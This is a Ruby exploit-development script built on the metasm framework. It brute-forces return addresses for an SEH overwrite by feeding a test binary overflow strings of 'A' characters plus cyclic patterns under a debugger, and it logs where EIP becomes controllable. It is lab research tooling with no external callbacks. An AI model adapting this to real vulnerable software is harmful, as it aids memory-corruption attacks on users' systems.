#!/usr/bin/env ruby # encoding: utf-8 # By 0vercl0k require 'metasm' require 'pp' include Metasm # ====================================================================================================================== # Original Idea come from @jduck1337 when he exploited the CreateSizedDIBSECTION bug discovered by Moti and Xu Hao # """ # I used a technique I like to call trigger-fuzzing. # That is, I repeatedly triggered the vulnerability each address in "msacm32.drv" code segment and monitored the results. # After less than 512 attempts, I noticed I had a crash with EIP containing the tell-tale Rex::Text pattern. # """ # Quoted from http://blog.metasploit.com/2011/01/exploiting-seh-overwrites-using-rop.html # ====================================================================================================================== # A nice occasion to try metasm framework! # Extraced from mona.py by corelanc0d3r def pattern_create(max) char1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' char2 = 'abcdefghijklmnopqrstuvwxyz' char3 = '0123456789' charcnt = 0 pattern = '' for ch1 in char1.each_char() for ch2 in char2.each_char() for ch3 in char3.each_char() if charcnt < max pattern += ch1 charcnt += 1 end if charcnt < max pattern += ch2 charcnt += 1 end if charcnt < max pattern += ch3 charcnt += 1 end end end end return pattern end def pattern_find(pattern, size) s = pattern_create(size) if (id = s.index([pattern].pack('I'))) != nil return id end return nil end #Dump - msacm32_drv:.text #Address Hex dump #0x72C61000 -> 0x72C6370F #0x72C61000 0x72C6370F def main(args, argv) if args != 2 print "Usage: ./#{$0} <addr_start> <addr_end> <payload>\n" return -1 end # Retrieve the entrypoint exe = AutoExe.decode_file('safe_seh_test.exe') ep = exe.optheader.entrypoint + exe.optheader.image_base size = 512 start_addr = argv[0].to_i(16) end_addr = argv[1].to_i(16) while start_addr <= end_addr input = 'A' * 532 + [start_addr].pack('I') + pattern_create(size) print "%s RET@%#.8x (%d / %d) %s\n" % ["-"*8, start_addr, (start_addr - argv[0].to_i(16)), (argv[1].to_i(16) - argv[0].to_i(16)), "-"*8] print "[*] Debugging the binary..\n" dbg = OS.current.create_debugger('safe_seh_test.exe "' + input + '"') # We don't want extra log dbg.set_log_proc(lambda { |h| }) ep_reached = false first_exception_passed = false # Install our exception-probe dbg.callback_exception = lambda { |h| if h[:type] == 'access violation' and ep_reached == true addr_exception = h[:st].ExceptionAddress || 0 mod = dbg.addr2module(addr_exception) print "[*] Exception Address occurs in: %s (%#.8x)\n" % [ dbg.addrname!(addr_exception), addr_exception ] # If an exception does not occured in any modules -> the seh handle pivoted somewhere (somewhere that maybe we control) if first_exception_passed == true dbg.kill() else first_exception_passed = true dbg.pass_current_exception() end # In case of an unknown type of exception occurs, we kill the debuggee (privileged instruction for example) else # Be carreful, we use a soft bp to stop the execution to the entrypoint if h[:type] != 'breakpoint' dbg.kill() end end } print "[*] Now, I try to reach the entry_point (%#.8x)..\n" % ep dbg.go(ep) ep_reached = true print "[*] Ok, entry point reached. Now passing all the exceptions to the debuggee..\n" dbg.run_forever() print "[*] Final fault at: %s\n" % dbg.addrname!(dbg[:eip]) if (offset = pattern_find(dbg[:eip], size)) != nil win = "[*]It seems you are allowed to ret in %#.8x, and you can totally control EIP (offset = %d)\n" % [start_addr, offset] f = File.open("trigger_fuzzing.txt", "ab") f.puts("-"*16) f.puts(win) f.puts(input) f.close() print win end start_addr += 1 end return 0 end if $0 == __FILE__ exit(main(ARGV.size(), ARGV)) end